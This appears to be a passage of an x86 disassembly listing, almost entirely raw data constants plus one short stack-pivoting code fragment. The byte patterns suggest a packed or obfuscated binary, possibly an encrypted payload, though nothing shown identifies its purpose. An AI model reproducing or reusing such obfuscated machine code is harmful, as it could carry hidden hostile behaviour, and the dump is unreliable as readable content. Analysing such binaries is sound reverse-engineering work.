		dd 0E90628FEh, 0FFFA52EDh, 28FFFB68h, 52E3E906h, 6368FFFAh
		dd 0E9062901h, 0FFFA52D9h, 29030168h, 52CFE906h, 9B68FFFAh
		dd 0E9062904h, 0FFFA52C5h, 29057068h, 52BBE906h, 1E61FFFAh
		dd 0EE320FDFh, 0BEC65BE3h, 878E932Bh, 4955A872h, 0DE1FFA80h
		dd 6E3CBDC1h, 0A4468F93h, 0F38B5A59h, 0CDE236Eh, 0D6E1E870h
		dd 5ACD61CCh, 92916CFCh, 0CD72450Ch, 6BB6CD61h,	0A7FB76DCh
		dd 0C099975Ah, 9E6E3CC1h, 44F0FD03h, 63DC27EFh,	0E22566F5h
		dd 805F2872h, 0BAE1D3BAh, 0B521D9ACh, 0ACBAF9DCh, 0E4E239D9h
		dd 0EABC4F62h, 8CB85734h, 0AC263201h, 0D9B585D9h, 206D58ABh
		dd 5C4BCB1Fh, 0BF9BF7B6h, 2480D9EDh, 0A2E779D0h, 0A7FDBFA4h
		dd 0ABDC0B2Eh, 45100FD9h, 3D1CFD9h, 25100ED2h, 99000000h
		dd 0EB7370D1h, 0ACD1F4E2h, 66AB34D9h, 0FB96AD9Bh, 0D271404Dh
		dd 8DC2D9ACh, 113A6007h, 0D9FB0ED1h, 0E000000h,	6C7D7AAh
		dd 7C113D0Ah, 0E57CA835h, 0DE45099h, 0BB43F904h, 0C897A22Bh
		dd 8C9BD38Ah, 0BD6170B3h, 4E1CE120h, 8ACCFE07h,	0F4F938D3h
		dd 0EB76C656h, 56ED5BA6h, 8ACD2A0Dh, 1333EED3h,	5CAE337Eh
		dd 0BDA7A530h, 2D7D7h, 2F3CE56Eh, 0AEF24FDFh, 0F45EF523h
		dd 0AD1DFFEDh, 6E403D9h, 1DFCDFB6h, 0E13CD9ADh,	1E694C05h
		dd 72A9D9ADh, 269B70D0h, 38512105h, 0D9AD1E1Dh,	0B540441Dh
		dd 3D54341Eh, 0DFD1DDDFh, 9B66C423h, 0A0B04A93h, 40ED3DDh
		dd 0BC844549h, 0BA12A10Ch, 34AE2CE2h, 8C000009h, 5DA07A83h
		dd 61FC8E53h, 2934D623h, 0F04D19ECh, 0FA9F2FAEh, 0D9206E71h
		dd 0E3F2300Dh, 34BDC65Bh, 7B868B96h, 460F1FA3h,	0CD61CB73h
		dd 0A7EE5BB7h, 69F49657h, 5C01A528h, 0EB7370D1h, 0ACD1F4E2h
		dd 33E934D9h, 0ACD28352h, 19A3F4D9h, 1970C050h,	0D9ACD23Eh
		dd 1B3E27C2h, 1FD9ACD2h, 0E5B04142h, 11316F39h,	0C3F00ED1h
		dd 79000000h, 38CDD7AAh, 0B73A471Ah, 1210ED79h,	54FE55C3h
		dd 967475B9h, 0C86C4F06h, 71ACD38Ah, 71B213ADh,	8BD38ACCh
		dd 53A37B86h, 1032C7CEh, 73A9347Dh, 28322F90h, 0ACE7CBA1h
		dd 0AD04FD9h, 7D81E041h, 0DC6BC07Ch, 0A4E8074Eh, 0B228DFD1h
		dd 0D1A500DBh, 0FDE500DFh, 279B4B3Dh, 2707D20Fh, 78C7CA57h
		dd 0A07FB538h, 0EEF73C15h, 2665A924h, 0B94C49DEh, 1936E2h
		dd 0EB40FC01h, 6BB38E5Ch, 36308262h, 5CD2BA13h,	83E7Eh
		dd 70798600h, 844957AAh, 0CC191BE6h, 17E2233Eh,	25A4EA77h
		dd 647BC481h, 360BD31Ah, 0FC41E5ECh, 819C2EB7h,	15A97D80h
		dd 0CA795C35h, 51B9CD61h, 9657A7E4h, 0A52869F4h, 5AA75C01h
		dd 0C7A6B1D8h, 0BF6AD38Ah, 7B871AE0h, 7FD2BE6Ah, 0C8981B15h
		dd 10AE7403h, 11B53879h, 46A4C57Ah, 0AC1EA90Fh,	86B269D9h
		dd 835BA6EBh, 92DD73BEh, 0C09BF25Eh, 40D9AC7Bh,	340BDA5h
		dd 0BD201CABh, 60F1F8B7h, 7B12E27Ah, 60F1F960h,	7067F6A0h
		dd 854ED2FBh, 46B4E0EEh, 1E08B52Ah, 8DE99334h, 50AD7984h
		dd 0AF8AC351h, 7360F251h, 0A22319B4h, 60F25294h, 236FF280h
		dd 7DC966D2h, 0F2524114h, 0F85AC160h, 484925AFh, 51B883CAh
		dd 0EF7860F2h, 0F4835E9Fh, 387BC656h, 7EA473A9h, 0E5539EE3h
		dd 0F251D6F8h, 0E993B660h, 0AD79848Dh, 8AC35150h, 60F251AFh
		dd 2319B473h, 98627F20h, 2EF4FD05h, 6541D7BEh, 5AC16714h
		dd 5556CB80h, 0F89161F1h, 671464DDh, 755CC65Dh,	6D366653h
		dd 9EF248D7h, 910D1D0Dh, 58163CB3h, 36275F75h, 1A98996Dh
		dd 36276873h, 0A67DA86Dh, 50CE6E6Ah, 0EEF68500h, 4BC11411h
		dd 0C27F0590h, 9315A5BDh, 0DF633E9Ch, 3F7D0288h, 867B4723h
		dd 41Ch, 0E999B66h, 0F523FE03h,	31C4C15Eh, 0BE62CFBh, 53CC7C98h
		dd 0BF9DF456h, 43D9ACFAh, 0A73707A4h, 0ACFB0B2Eh, 32100FD9h
		dd 0BBCDCCABh, 829F005Ah, 0F44BD1B8h, 50CF60DDh, 71BD00E4h
		dd 0E041AA68h, 0EF177BC3h, 0CFF02153h, 7A13F353h, 67040919h
		dd 0A8380219h, 24BCDD5h, 67040937h, 9B912CFBh, 6433C6CEh
		dd 51DE23BEh, 0B08BC250h, 70670408h, 0BB431EB5h, 0AE965BA6h
		dd 252CF436h, 64444AC8h, 5C000006h, 6DF08A53h, 310CDE23h
		dd 0F944E6F3h, 809D29BCh, 2AAF7F7Eh, 0E9F03E21h, 33C2C05Dh
		dd 448D966Bh, 8B565BA6h, 0B6DF2FF3h, 0CD61C8A3h, 0D13E8B67h
		dd 0E2EB7370h, 0D9ACD654h, 0C5D2EFE3h, 0A9C23C0Eh, 978D5050h
		dd 26FD9AB8h, 8D121FEAh, 6AC17F86h, 868861DFh, 0F530C947h
		dd 0D8AC34E0h, 73C8B61Bh, 0D379A835h, 0E4D8E3EAh, 0CD58D9ACh
		dd 0D07AAD36h, 0B311E5E9h, 676376BEh, 0EE34CB49h, 793C9C05h
		dd 0E34C69FBh, 0C957594Ch, 1DC5EE9h, 4C1BEA28h,	0F79E6EFEh
		dd 0D9AD78E4h, 4C55F924h, 0DFCF87E6h, 0D22FFF2Ah, 7B1602CFh
		dd 0CA7DAB36h, 0D9055438h, 6AA62F74h, 0C7B7B5DDh, 1DC2160h
		dd 9389AC25h, 9289DFCFh, 0C6D17B0h, 9302D5BCh, 0F53CDFCFh
		dd 54FE25E8h, 0D17578B9h, 0AE501987h, 0E72BB608h, 72450C1Eh
		dd 0B6DFCF8Fh, 0A955AB6Bh, 0DC000002h, 0EB7370D1h, 0B3C32EE2h
		dd 0D737F2D9h, 81BF4A4Ah, 65F868AAh, 8A3C6319h,	8CF66354h
		dd 6404D7BEh, 1904D9B3h, 0A94F842h, 100C04BAh, 0A5B595B9h
		dd 1E0ADBD8h, 3E401D01h, 0E79CB6FDh, 0E33A234Fh, 7E5AD66Dh
		dd 91A6E128h, 8827F20Ah, 0F9A3DEB2h, 4495967h, 557D601Eh
		dd 0E2D9B310h, 43C3161Fh, 5831838Eh, 0D9B3107Dh, 69CB66BDh
		dd 0B07DF3E3h, 0FC81170Dh, 0C4000004h, 956832BBh, 59A4468Bh
		dd 61FC8E5Bh, 2835D124h, 8247E7E6h, 9158A6B9h, 0DB2A68F5h
		dd 0ECF53E03h, 33BEC35Eh, 1E77D76Bh, 0CD61C73Bh, 0D1A613FFh
		dd 0E2EB7370h, 0D9B3C32Eh, 0E43A78C5h, 0B3C2CAEDh, 4D34ED9h
		dd 76A2791Eh, 0B34B969Bh, 0B8D163AEh, 0D9B3C39Dh, 0E4B52256h
		dd 8F827FE1h, 9C61C590h, 46DD4B92h, 0FA58A9E9h,	9964AD44h
		dd 666AF8A3h, 525F1330h, 5CBA918Fh, 0E72F3502h,	535E1AA0h
		dd 0F4AAFC8Eh, 3D0ECA3Dh, 1A4h,	975AA744h, 0E5E42AB7h
		dd 0A7EA8739h, 2DB0805Ah, 582C18E1h, 8AC82631h,	603FEAD3h
		dd 0FBE859A2h, 50E9363h, 0D36E73BEh, 7D44CE65h,	0D9ACD133h
		dd 4FD228F7h, 0DC92B045h, 0ACD0E2F1h, 780255D9h, 0D28A131h
		dd 0DD9ACD1h, 249A0C16h, 0ED0ED10Eh, 55h, 3C70D174h, 0A59362A1h
		dd 0C872458Eh, 6BB6D38Ah, 63FE4EDCh, 4392901Bh,	63A37ED5h
		dd 0ACD25C1Ah, 0E541DCD9h, 53C91C18h, 0D1F7C28Bh, 0EC3BD9ACh
		dd 0AB33CD51h, 0D1A7B2DBh, 0FE6BD9ACh, 5BF02CB5h, 183F868Ch
		dd 6BD9ACD2h, 9309AE54h, 520ED111h, 0AFh, 0CED7AAE7h, 0B7D79388h
		dd 0A570D905h, 34AD06Fh, 0D38A0238h, 6CE12DF8h,	956CD825h
		dd 3DD44089h, 0A633E9F4h, 9DF4965Bh, 0D38A0684h, 0DC6E73BEh
		dd 8D998A37h, 681543Dh,	9A81D38Ah, 0C8A128B8h, 48D9AEC3h
		dd 0AAF449DDh, 0F45EF523h, 72C88414h, 2956D42Ah, 0C0CE8383h
		dd 8E906D39h, 0DC7DE54Fh, 9D93B076h, 35E3Fh, 9059A600h
		dd 0A42977CAh, 0ECF93B06h, 37C2C35Eh, 45848A97h, 41B24A1h
		dd 0D62BF3FAh, 9C6105CCh, 0A1BC4E97h, 35C99D60h, 0C599BCD5h
		dd 0B199CD61h, 9657A7C4h, 0E72869F4h, 0E9BD489Dh, 0F5C08919h
		dd 35D38AC7h, 0AAC924EEh, 44988226h, 64AEC9BDh,	0EF25A8E9h
		dd 38C20F12h, 69FDEE53h, 0AC229260h, 8DC496D9h,	0D9AC21AAh
		dd 20B1F16Eh, 1B734D95h, 5358282Dh, 30058884h
		dd 0E4D9AC83h, 88392BD1h, 2CCA839Bh, 0DBDFCE96h, 8F0CD1B7h
		dd 79A5073Ah, 0C6BB43DEh, 81245AA7h, 73701145h,	31C84413h
		dd 0B259EDF0h, 6933AF0Dh, 5C1131D5h, 0E22CA581h, 26D9ACD0h
		dd 979E63FBh, 26FD0000h, 3FF15DEAh, 0ACD17F56h,	1478F0D9h
		dd 0C1F177A1h, 24ADF6BEh, 78028589h, 9B62AC31h,	43AFEDBBh
		dd 25760ED0h, 0FB000000h, 0EB7370D1h, 0ACD1F4E2h, 33E934D9h
		dd 0ACD28352h, 19A3F4D9h, 32C7CD50h, 1108B610h,	0DBC90ED1h
		dd 50000000h, 4C9D7AAh,	7E133308h, 0E772AE33h, 64F45697h
		dd 4499C99h, 0D38AC831h, 56E82AF1h, 5AD876BBh, 0DB79FC86h
		dd 0F8918F5Ah, 7F9634B9h, 0D38A8426h, 3E0CD1D0h, 841427AEh
		dd 0E32ED38Ah, 615221Eh, 1BEB3B1Bh, 0AB6B7E86h,	5AA4EB36h
		dd 806DCE20h, 0CE6501F0h, 0F22EC552h, 95FCB011h, 0D389D6C2h
		dd 0DAFD9446h, 5ED389D6h, 8D9934C3h, 0ABE546C4h, 8F5FCAD9h
		dd 0FC4E5BC4h, 0D0A4EE95h, 17F732DFh, 0A145848Ah, 0A98B525Ch
		dd 0BA10684Fh, 0C46D63A1h, 3C000001h, 0CD50EAF3h, 916C3EC3h
		dd 59A44693h, 60FD895Ch, 4A0FDF1Eh, 49909E81h, 9362A0BDh
		dd 0A42D76CBh, 0EBF63B06h, 0D6BF8F53h, 0CD61C403h, 0A75E2B07h
		dd 64F49657h, 0D3499C99h, 0FE03DE44h, 54E1F240h, 9520C9F7h
		dd 70D10CF1h, 0F4E2EB73h, 34D9ACD1h, 835233E9h,	0BDD9ACD2h
		dd 0D8B16F76h, 7F1D0BDAh, 0F294A228h, 2A9017BDh, 850ED111h
		dd 0F0AC9C9h, 0F45E8FABh, 9E7Ah, 0D7AA8F00h, 411C06C7h
		dd 0D9E00E40h, 0FEB70DFEh, 121CF523h, 2F705DCBh, 0C9D38AA6h
		dd 9C6105C8h, 73DC4895h, 49DDCEh, 0D9ACB48Ah, 0C78B938Eh
		dd 8634B194h, 0F353F302h, 0A0BAA718h, 0D114DB29h, 7AC05FDFh
		dd 0B45697E7h, 0BDAD9A4h, 8148560Bh, 13F84FBFh,	6D63A1BAh
		dd 0EFh, 6501C8D7h, 0B1559898h,	0C99D68ACh, 6A43174h, 50EAF33Bh
		dd 63ABB4B5h, 357DC09Ah, 31EACh, 0C9C855F1h, 42DA6604h
		dd 61C3300Bh, 0AB06F0CDh, 0F49657A7h, 1A52869h,	0D28A131h
		dd 0DD38AC8h, 0A7310C16h, 2AB7975Ah, 102FE5E4h,	0E4E87C32h
		dd 1E54323Ah, 730F4BC0h, 0BA1C55A7h, 0FF02DF47h, 936468F2h
		dd 0B85FCFE5h, 8B40C042h, 58311516h, 0D9B39DD0h, 4E9B9A67h
		dd 9DC295FCh, 0DB46D9B3h, 0CB41DC7Bh, 9366AE33h, 3DC8CCA5h
		dd 899D2807h, 0B39DF5C0h, 24EE35D9h, 0C16568A9h, 0AAEA357Ch
		dd 0BF4AE15Fh, 1D0D2AFh, 3162631Dh, 0F00025F7h,	545D19A3h
		dd 0E320BD89h, 0D103012h, 0B643F904h, 8DDD86Fh,	56EDF43Fh
		dd 0A62C7BDAh, 203AC7CAh, 9BEBFFACh, 6CB6FA0Bh,	9D60A1BCh
		dd 0D31A7h, 0AA480000h,	0F05CCD7h, 15A03172h, 0A75E1309h
		dd 0CE9B9158h, 77023EC3h, 926FA52Ch, 3ECB4190h,	0A633E9F0h
		dd 0CE9B9158h, 6B0632C7h, 8960DC29h, 58CE7A87h,	81E38953h
		dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 2568241Ch, 8900000Ah
		dd 3568240Ch, 8900006Fh, 0EC832404h, 243C8904h,	6754B2BFh
		dd 0AF74B92Bh, 0F9312D4Fh, 24CE685Fh, 24890000h, 24048324h
		dd 9B685804h, 89000015h, 481240Ch, 465F4B24h, 8408F64h
		dd 4B086881h, 0FF64465Fh, 83582434h, 0C8B04C4h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_50F6C5
; ---------------------------------------------------------------------------
		dw 0F1ABh
		dd 2E96C670h, 7851D166h, 0B32FD9EBh, 684B82Ch, 0C5030629h
		dd 7F21E0FFh, 679B6184h, 7B51497Fh, 8E023AB8h, 0B6495C90h
		dd 0EC982EB7h, 0FFFE100Bh, 93E06C42h, 9F46445Ch, 1C57641Bh
		dd 0A779175Ah, 0D2D67EC5h, 0EC17000Ch, 7F6154B6h, 0BC6F76h
		dd 0C02D5BA9h, 37973DFCh, 0B12F0B1Ah, 7611DDDh,	98241212h
		dd 0FEDB513Eh, 78924D67h, 4CE35740h, 16143597h,	0D1246D82h
		dd 92C2380h, 8D8D6062h,	629083Eh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 15h, 87C35646h, 5D958905h, 8906221Fh
		dd 2233F18Dh, 0F38B6606h, 356D9D8Bh, 85C70622h,	6222D31h
		dd 6338h, 59D9D8Bh, 85C70622h, 62230E5h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 19C35747h
		dd 9F31BA41h, 10890Fh, 0BE90000h, 78000000h, 0DC67D2A6h
		dd 28BD378Eh, 0B5FF3B66h, 6222A4Dh, 33E7EB80h, 2205AD9Dh
		dd 6595FF06h, 0F062220h, 0C82h,	6830F00h, 89000000h, 221EA58Dh
		dd 0E1858B06h, 6A062205h, 7595FF00h, 8B062230h,	0BE6BEBC0h
		dd 0A2BA8854h, 3BA683E6h, 7B7B3E3Bh, 0AB5E9786h, 1916396Eh
		dd 0ED4C0499h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h
		dd 161D8B3Eh, 94D460E5h, 6EB782B1h, 0B742AE4Dh,	3AB0E4AEh
		dd 31EE15CCh, 964EF26Bh, 9A03FE6h, 57994A95h, 45F78052h
		dd 93B99289h, 0C690C5CAh, 64958B36h, 3CDA0E67h,	0C46E3C8Dh
		dd 13B0F3ECh, 8D8D875Dh, 62909A6h, 81DAB70Fh, 0DE39ACD6h
		dd 0F18D893Bh, 66062233h, 85C7C18Bh, 6222D31h, 5D04h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 45C35646h, 1E485F9h
		dd 0E805B3B6h, 0Dh, 2634B0FEh, 8AFD36A0h, 0E5DCD468h, 899D898Eh
		dd 5E062225h, 30E585C7h, 622h, 6A0000h,	3E851h,	59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 0CFB18BC3h
		dd 2ADDB5FFh, 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 170424h, 57470000h, 7F594DC3h, 0FFC28B92h, 22206595h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 6B26C1FAh, 0F38255E9h, 0AE9h, 74061400h
		dd 0C4740D47h, 8B547E02h, 22243D85h, 10E38106h,	6A307736h
		dd 7595FF00h, 8B062230h, 517AEBC0h, 8A60FB07h, 1CE9D09Dh
		dd 36BC3496h, 84952B71h, 1C4CE56Ah, 0EA1FE4ABh,	7D80185Dh
		dd 0F4976CD2h, 55721971h, 1915695Dh, 0D322DE1Eh, 0B1329A3Dh
		dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 0F8D8CB24h, 1DDDF60Ah
		dd 0A7246D88h, 0C9B3656h, 0EE39D653h, 0FAE9C68Dh, 0EB885BE1h
		dd 0F770C889h, 7C69335h, 3818A5D6h, 3DE78201h, 0F1DB99C6h
		dd 8ED1CD00h, 0FDFEDFD2h, 7D100B82h, 14E8A2h, 50190000h
		dd 0DA5F2C62h, 0D7087073h, 572D7C89h, 80DD4B86h, 0B5897E48h
		dd 6221AA5h, 0C181F859h, 64F5h,	1DD1BD89h, 1C680622h, 66000019h
		dd 5E40B8BBh, 253D8529h, 31FF0622h, 99B5895Ah, 8106221Dh
		dd 0B71C5DEAh, 0B1858B62h, 81062228h, 627E4EEAh, 0D18D0904h
		dd 81062225h, 0E6CCAFF2h, 7BBF6632h, 0B311892Dh, 1E983E1h
		dd 494949FCh, 57BE6660h, 0C1B70F1Ah, 1EE8161h, 0F000000h
		dd 0FFFFB585h, 2DBD33FFh, 0E806220Fh, 7, 58317D19h, 8B96F0BFh
		dd 22206185h, 0B5095A06h, 62214DDh, 5CA9C281h, 0B5090000h
		dd 6222825h, 0BFh, 9E800h, 0A7F60000h, 59A86408h, 6659090Ch
		dd 5B08D3B8h, 8B3A348Bh, 2EEE81D8h, 2968B326h, 221E2DB5h
		dd 0FBC68106h, 0E9487DF8h, 0Bh,	3E590AFDh, 729F2589h, 8114E2ABh
		dd 0B5F3B9F6h, 75BD2937h, 89062204h, 0DA8B3A34h, 0A281F181h
		dd 0EF810D51h, 4BA3C68Ch, 88C781FCh, 0E94BA3C6h, 0Ah, 807B6D69h
		dd 65EA7746h, 0FF81271Bh, 0FFFFA428h, 19850Fh, 0BF0F0000h
		dd 2FE9C3h, 244D0000h, 1ADA9407h, 0E32F099Ah, 34B76823h
		dd 0F50BD6Fh, 68Eh, 9DC38100h, 0E903A3DEh, 0FFFFFF70h
		dd 11ED6C30h, 0F1E185Bh, 0DD3A83DAh, 628D8DB9h,	6A06290Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 16042444h
		dd 40000000h, 8C11C350h, 0F3816693h, 9D8959A6h,	62205C1h
		dd 33F18D89h, 8D090622h, 62234C9h, 2D3185C7h, 74440622h
		dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h
		dd 51410000h, 0C7A495C3h, 2230E585h, 6,	51006A00h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1804h, 0C3514100h
		dd 890FA3E2h, 73E3BF44h, 0B5FF344Dh, 6221AB5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 75C35747h, 9CFC0949h
		dd 0E380CD6Ah, 0D1BD2959h, 0FF06222Ch, 22206595h, 0CD958B06h
		dd 6A062221h, 7595FF00h, 8B062230h, 9F1BEBC0h, 0DDE61475h
		dd 24BD9B4Dh, 0DC18337h, 0FDBE24BEh, 5FF2C2h, 0EFDA336Bh
		dd 8D8D2D30h, 6290D17h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ch, 2C35545h, 0CDB17908h,	0A413A9F8h, 33F18D89h
		dd 95010622h, 62219B9h,	2D3185C7h, 6CC80622h, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 0E36B50C3h, 94E03C7Fh, 0B866653Dh, 85C7C9AAh, 62230E5h
		dd 0
		dd 0CCE1EB81h, 958B1003h, 6221479h, 25EDB5FFh, 0FFF80622h
		dd 22206595h, 72E08006h, 95FF006Ah, 6223075h, 59EBC08Bh
		dd 15DBBD90h, 5CCCD363h, 9D59CBB3h, 0C5F186BDh,	5B692BB5h
		dd 25497930h, 0F1539D5Fh, 7C42E568h, 0E9F63EBCh, 0FD2A8D0Ah
		dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 4FEBD625h, 6A274FF9h
		dd 9A207CA6h, 98AEC347h, 5A745B2Dh, 48FB14Bh, 159B656Ah
		dd 673768A3h, 0FD80986Bh, 128D8DE4h, 0E906290Eh, 0Fh, 54304086h
		dd 4E82FE2Ah, 79A5F166h, 898B23F4h, 2233F18Dh, 56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1904h, 0C3564600h
		dd 0B0C0E4BEh, 9D014E86h, 622202Dh, 2D3185C7h, 5C340622h
		dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h
		dd 55450000h, 0DF8948C3h, 0E585C72Fh, 62230h, 89000000h
		dd 222CA18Dh, 0D9B5FF06h, 0B706220Eh, 6595FFF4h, 89062220h
		dd 2220398Dh, 6AE78A06h, 7595FF00h, 8B062230h, 6B1CEBC0h
		dd 4A59BEE8h, 0ED096835h, 6190B6CCh, 43F29EC7h,	7E27A3FAh
		dd 2E300A7h, 0E8054333h, 0Ch, 0FD7E3D0Fh, 64333D02h, 0E99F6235h
		dd 0BD09F560h, 6220319h, 9D8B5961h, 62234C1h, 6D3CC181h
		dd 85B20000h, 1B26B8h, 0FFD08A00h, 0D2816631h, 815F9822h
		dd 0F0FCA5EFh, 898D2950h, 81062211h, 0CA2A22C7h, 6FBE6606h
		dd 88C78190h, 297150D7h, 2213F595h, 83398906h, 950302E9h
		dd 6222C3Dh, 83F84949h,	850F01E8h, 1Ch,	5800Fh,	0F500000h
		dd 0E95BD7BFh, 2Ch, 90E63183h, 36197D71h, 0EB22C6F4h, 1BF18060h
		dd 0AED858Bh, 0E9610622h, 0FFFFFF93h, 489FBB0Bh, 0D6305267h
		dd 0B1E86448h, 4DD3F28Eh, 7E8h,	0D6E37400h, 839A1449h
		dd 3F9BD29h, 525E0622h,	815A28B1h, 5DFAC6h, 5800F00h, 66000000h
		dd 0E4B8C081h, 1C8BFF33h, 81E4B13Eh, 2963CBF3h,	59958B39h
		dd 81062218h, 6BA11BF3h, 98F68071h, 0B71DEB81h,	85011D97h
		dd 6222115h, 0F3E1C89h,	0BD89C8B7h, 6222C4Dh, 0F04EF83h
		dd 0FF81CEB7h, 0FFFFA298h, 1A850Fh, 95290000h, 62215E9h
		dd 22E9h, 241F9E00h, 0A48A4109h, 0CC6CE185h, 0E8207A87h
		dd 0FF9CE9F5h, 0FB50FFFFh, 0A671CB0Bh, 0B08A95C9h, 8D1A2960h
		dd 2910168Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1504h, 0C3534300h, 8D8913B1h, 62214E5h, 33F18D89h, 6A0622h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0F5EB04C3h, 0B66A1759h, 253DB533h, 85C70622h, 6222D31h
		dd 68BCh, 85FBE781h, 85C76718h,	62230E5h, 0
		dd 0A18D8953h, 58062211h, 5C1B589h, 0B5FF0622h,	62201E5h
		dd 0FF83CB80h, 22206595h, 15958B06h, 6A062233h,	7595FF00h
		dd 8B062230h, 0B519EBC0h, 0F594F822h, 31FC8C4Ch, 8B33CAA9h
		dd 0FFB35070h, 0C146E21Dh, 0AF80DA7Ah, 11E8h, 0FB9A9C00h
		dd 7B281875h, 2198B23Dh, 4DF3856h, 850F66BAh, 0
		dd 0C281FC5Ah, 5CDAh, 68h, 8D015300h, 6221899h,	6E8595Eh
		dd 0F4000000h, 7A93297Bh, 59D03A4h, 5B062229h, 0F51134FFh
		dd 0C3EB805Fh, 8F44C781h, 11E93764h, 0F1000000h, 6C33A553h
		dd 60E45EA6h, 0A0F657DDh, 0B464C426h, 4FCAF781h, 0C7812222h
		dd 27D097C0h, 1FD858Bh,	80570622h, 48F2FE3h, 28BE660Ah
		dd 4860FCFh, 66000000h,	833F11BBh, 0F98104E9h, 0FFFFA3C0h
		dd 0FFA6850Fh, 8166FFFFh, 0E8577EE3h, 7, 7E9124A7h, 0FA6C2E9h
		dd 68Bh, 199D8B00h, 5E062214h, 74EDC681h, 0BD8B0000h, 622287Dh
		dd 820FC92Bh, 0Eh, 9E9h, 67529C00h, 906DDC5Ch, 34FFA8FEh
		dd 58D18A31h, 11E8h, 3CB44D00h,	7A3DF3C7h, 0C79E822Eh
		dd 320C4C75h, 0BD034663h, 6220FBDh, 0C5F0815Ah,	0F24A006h
		dd 0C081DFBFh, 2D50D4BCh, 75BD0B57h, 5F062221h,	0BC51F081h
		dd 0F08A6C7Bh, 0EEF78050h, 600E048Fh, 25E88166h, 12E8C8h
		dd 91210000h, 0C497EF1h, 0D23C3199h, 0C6B08035h, 0F92816D6h
		dd 0F718D8Bh, 615F0622h, 6890Fh, 958B0000h, 6221F11h, 2904E983h
		dd 22116185h, 0FCF98106h, 0FFFFF8Bh, 1285h, 0E9616000h
		dd 21h,	715D6D23h, 17A04D00h, 89C1CBBBh, 222625B5h, 0FF54E906h
		dd 1448FFFFh, 1F1EE8CBh, 46C478A4h, 0A07582C3h,	14690889h
		dd 8DA6DC78h, 36074687h, 35A12E86h, 0D9259086h,	30254813h
		dd 23149905h, 3F2514A4h, 30258102h, 91980786h, 3023609Ah
		dd 305EA589h, 0B5E39086h, 36077B8Fh, 68E24CC8h,	34A420E4h
		dd 0D05B70A2h, 1907BF3h, 0BD236095h, 15589F03h,	0BBF56F80h
		dd 39A08E76h, 7E2306B5h, 3025166Eh, 72F24986h, 74AED42Eh
		dd 30AE46A2h, 3401650Fh, 91906FDEh, 0BD236A9Ah,	15589A03h
		dd 0BBF5ED80h, 3035B07Eh, 38CC8486h, 96254286h,	302BA489h
		dd 3B6C9086h, 0C0A0474Fh, 0D9DADB79h, 3025128Bh, 6094940Bh
		dd 359D82A4h, 0CF254286h, 0F998AC65h, 0BD23B997h, 1937C70Bh
		dd 15379C80h, 0FF0E94B6h, 0A0758247h, 14690889h, 8DA6DC78h
		dd 36074687h, 35A12E86h, 0D9259086h, 30254813h,	83149905h
		dd 0A4F305E9h, 22B9h, 0EE800h, 1C40000h, 0B8BDC796h, 9E64C65Eh
		dd 0D9EA0371h, 87EF8166h, 0B5295BFCh, 62205B1h,	6C96C381h
		dd 0B70F0000h, 1AF968F9h, 8D890000h, 6221DDDh, 0D18D8B5Eh
		dd 0FF06221Eh, 820F5833h, 6, 1F4D958Bh,	0E8810622h, 4ECCE164h
		dd 0F9DBD89h, 0C0810622h, 1D3FD134h, 2C09958Bh,	0F0810622h
		dd 43A3EFBAh, 3860Fh, 0BF0F0000h, 0B50389D3h, 7BEB81D4h
		dd 8B6572F7h, 2233958Dh, 77C38106h, 8B6572F7h, 2208D18Dh
		dd 1EE8306h, 13850Fh, 0B9660000h, 1DE9B17Ah, 96000000h
		dd 0B1013993h, 34269065h, 38A0F0Ch, 66000000h, 84E9D08Bh
		dd 34FFFFFFh, 8D638F66h, 0BE9h,	0F6313600h, 6Eh, 0
		dd 4F9E9h, 0B08BF200h, 24236859h, 8CBBC4CDh, 0F24D3C65h
		dd 5BE8969Bh, 0FD363630h, 565BB291h, 0C3CC2724h, 3E638AB5h
		dd 539AF54Eh, 28429606h, 0E3B74113h, 3A057703h,	8DBAC4E9h
		dd 7C301562h, 473A3B2Ch, 8BB6EAC1h, 0D4214601h,	59E296A7h
		dd 1F2BC126h, 0F2473A3Bh, 2B4065BBh, 78B5E661h,	71E73413h
		dd 0D8A480F8h, 6D1B046Fh, 276BBD2h, 0B3C71439h,	4CD4794h
		dd 0F3840E4h, 76D1BBE4h, 3B449725h, 0EBEE473Ah,	3065DEAEh
		dd 2642AFF5h, 0F3DB6EE3h, 664B51h, 956E0000h, 751AFD30h
		dd 0ED7A2DD6h, 0CD48900Ch, 0EAD473Ah, 77FD91CFh, 5BE93A05h
		dd 473A3B0Dh, 0F71A5EA3h, 51F3DB7Ah, 15Fh, 525FC700h, 0A64112Ah
		dd 0F2AFF699h, 19628FD5h, 0C7B4F92Ah, 73062B78h, 0D24AAFC8h
		dd 473AC686h, 0C91C406Bh, 9E96D21Fh, 1D2A50EDh,	36AADC8h
		dd 0A893F936h, 0DDE4387Bh, 0A17D94AFh, 0EB380777h, 4596B5C6h
		dd 51D31522h, 0CAF71E2Dh, 75479C2h, 559ACB78h, 0A7F41926h
